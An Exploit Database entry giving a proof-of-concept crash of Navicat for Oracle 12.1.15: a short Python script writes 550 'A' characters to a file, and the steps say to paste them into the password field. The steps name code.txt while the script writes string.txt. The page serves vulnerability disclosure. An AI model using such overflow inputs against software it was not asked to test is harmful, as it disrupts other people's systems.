



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

# Navicat for Oracle 12.1.15 - "Password" Denial of Service (PoC)

**EDB-ID:**

46383

**CVE:**

N/A

**EDB Verified:** ✘

**Author:**

[VICTOR MONDRAGÓN](#)

**Type:**

[DOS](#)

**Exploit:**   / 

**Platform:**

[WINDOWS](#)

**Date:**

2019-02-15

**Vulnerable App:** 



 EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING

```
#Exploit Title: Navicat for Oracle 12.1.15 - "Password" Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-02-14
#Vendor Homepage: https://www.navicat.com/es/
#Software Link: https://www.navicat.com/es/download/navicat-for-oracle
#Tested Version: 12.1.15
#Tested on: Windows 10 Single Language x64/ Windows 7 x64 Service Pack 1
```

#Steps to produce the crash:

```
#1.- Run python code: Navicat_for_Oracle_12.1.15.py
#2.- Open code.txt and copy content to clipboard
#2.- Open Navicat for Oracle 12.1.15
#3.- Select "Conexión"
#4.- Select "Oracle"
#5.- In "Nombre de conexión" type "Test"
#6.- In "Tipo de conexión" select "Basic"
#7.- In "Host" type 1.1.1.1
#8.- In "Puerto" type "1521"
#9.- In "Nombre del servicio" type ORCL
#10.- In "Nombre de usuario" type "user"
#11.- In "Contraseña" Paste Clipboard
#12.- Select "Aceptar"
#13.- Crashed
```

```
cod = "\x41" * 550
```

```
f = open('string.txt', 'w')
f.write(cod)
f.close()
```

Tags: [Denial of Service \(DoS\)](#),  
[Buffer Overflow](#)

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#)

©

[OffSec Services Limited](#) 2026. All rights reserved.